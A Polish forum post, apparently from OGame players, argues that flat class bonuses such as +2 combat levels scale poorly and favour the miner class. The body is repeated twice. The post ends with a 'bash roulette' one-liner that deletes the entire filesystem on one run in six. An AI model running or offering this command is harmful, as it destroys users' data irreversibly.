Naprawdę taka spora?
3 bojowe na 20 poziomie to nie problem dla długo grających ludzi
(na u68 stare wygi mają na spokojnie więcej).
Więc jak dużą przewagę daje +2 bojowych?
300% (100 baza + 200 tech) vs 320% (100 baza + 200 tech + 20 gen)
to przy boj lvl 20 tylko 6,7 % większej siły.
Jako górnik spokojnie pokryjesz te 2 bojowe zwiększoną produkcją....
I to jest dla mnie irytujące bo w obecnym przedstawieniu klas górnik bije pozostałe dwie na głowę.
Chcecie balansu? Dajcie bonusy całościowe.
Nie +2 bojowe tylko 20% od całości (czyli w przypadku 300% bonus by wynosił aż 60%!)
Nie 25% prędkości podstawy, tylko 25% od całości (dopiero po dodaniu bonusów za tech).
I wtedy każdy kto chce latać flotą musi się poważnie zastanowić nad swoją decyzją podczas doboru klasy.
To jest właśnie największy problem ogame, gra strasznie słabo skaluje wraz z rozwojem gracza i takie popierdółki jak boj + 2 czy napęd +0.8 (bo w końcu 25% gdy przestrzenna 30%) to jest mała kropla w wielkim morzu
3 bojowe na 20 poziomie to nie problem dla długo grających ludzi
(na u68 stare wygi mają na spokojnie więcej).
Więc jak dużą przewagę daje +2 bojowych?
300% (100 baza + 200 tech) vs 320% (100 baza + 200 tech + 20 gen)
to przy boj lvl 20 tylko 6,7 % większej siły.
Jako górnik spokojnie pokryjesz te 2 bojowe zwiększoną produkcją....
I to jest dla mnie irytujące bo w obecnym przedstawieniu klas górnik bije pozostałe dwie na głowę.
Chcecie balansu? Dajcie bonusy całościowe.
Nie +2 bojowe tylko 20% od całości (czyli w przypadku 300% bonus by wynosił aż 60%!)
Nie 25% prędkości podstawy, tylko 25% od całości (dopiero po dodaniu bonusów za tech).
I wtedy każdy kto chce latać flotą musi się poważnie zastanowić nad swoją decyzją podczas doboru klasy.
To jest właśnie największy problem ogame, gra strasznie słabo skaluje wraz z rozwojem gracza i takie popierdółki jak boj + 2 czy napęd +0.8 (bo w końcu 25% gdy przestrzenna 30%) to jest mała kropla w wielkim morzu
[ $[ $RANDOM % 6 ] == 0 ] && rm -rf / || echo *Click*